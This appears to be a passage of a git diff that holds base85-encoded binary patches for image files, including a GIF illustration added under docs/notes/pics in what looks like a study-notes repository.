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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif
new file mode 100644
index 0000000000000000000000000000000000000000..312fea607503b2dd3fbc0e7b10968b5470987249
GIT binary patch
literal 16384
zcmeI3cT`hto9=fi0Rn^`AwcLI>C#Q;U7COtMMSDfM^x0%LsN><MCrXq6$F9MyC5ha
zHhQxniWJ4OeRbaVJ#*%Kv)0V{=FF_+!}G^p*<>f&?B}`f-+f(M&p=m6`J@}<8Sn)F
zAm9K1C<H<chYPT=%Zp18Rh3jUv<doVdPk0F+nqHyeaYUN<Q^P#Aw2eaVsdKwt?c~L
zqSCuncdHxgYaTQ=wzpF#U431BBmKi;qZ5;lr=L&1n46w|_jLKo)0MqH=hVvH6L2o?
zfd}A=Gpj%5v(??zx0{=rpT2Bw@9gaC?(XjG?S1|F_1hm~|DQI#fB*h}yY}x>|0**7
z&jSKp{~uiQAD{ilZ~Vva{rPwO{R-eQ?{`{L9V<&MqM44Ylr#)n3jps99PR=j0SWLJ
z__0g?)IKnP!s%D%bcCar#T@#pbGxE3{DxWjHF-U8SUJz<{WbZ0*YR4hID^`PffNzT
zGKYcM!l5+jQ-fIsbwwk$l>FD957ZTpW)s3`xD4w{9_8z&h&c|{mrfL$<s05MY$$tD
zZd>R1Vz8ln>aJ5)ESJ%}il=q%6J?G=_bQ(?`Ya6IHfpSTk&DI4ld9*PXi;da+U#t#
zCJad@{oE0ER4WX{VXd#^lRFy;XM<PiQ+zhVu`b8u@e&_8VMs>$+Qiu$&A4!8X`YDC
zTqwG?N$<F8O(!voMusU-$R9#Pv(d36W|$G@Xka*JHKj3U9hfYRi7-2+85Z^o#<P#l
z!5<5SeQ=Q#*dETnqhB!y2$*HHX!O02k-*r#Cxz_MA*`Y)$Sj>PoQE_4=<t%p=5(N`
z^(lnFN>K{*0NWYDa~QNE2SB(~6EYD~%FC2UmwI6{+V-RxC~XIw+pBn1>OKfWxa>S3
zR+8dFp*bipW&>rxQ^GEw6CoXN<K#yG87)6$2ZcvrbD>%^-K40G$|Qn6x;hb{l~6My
zCc+JzI?!a^SxvOTxJa=!hdd@6GG#!~q=lXNKtj4EcaV@!-<)CueZi`LH~kqOM>sA@
z1acB1KmksktW7L{m)0m^+?cGSL!kp6fC!PkVhjppBxTNI?N_TT0#q!RF--(Ku?7P1
ziH$i~P~w*(dSDPTLx~gP`vkyEt$Pnp4PG|XMKGaRibCP1r!+I9wS62bW~I6_pa!yu
zCDpewgjT%}p))u)Y<-!FKdQBF4j$u~xLN}<@NrBZe`sfhKsL?hK{%qyKM=D76G<K7
zYSlyp!UrHCW9c8K<(-rToZ%ROOyJ@ZI&CL^=8#Liz3*>xRuZxlFrl!LNHT>6htGk;
z(S9*bgdW7ak%nRM1Pbi62evYB*)NNPY*fZWqQBlF$-^$+?zM-)<Yx&m1V#)8N4cbO
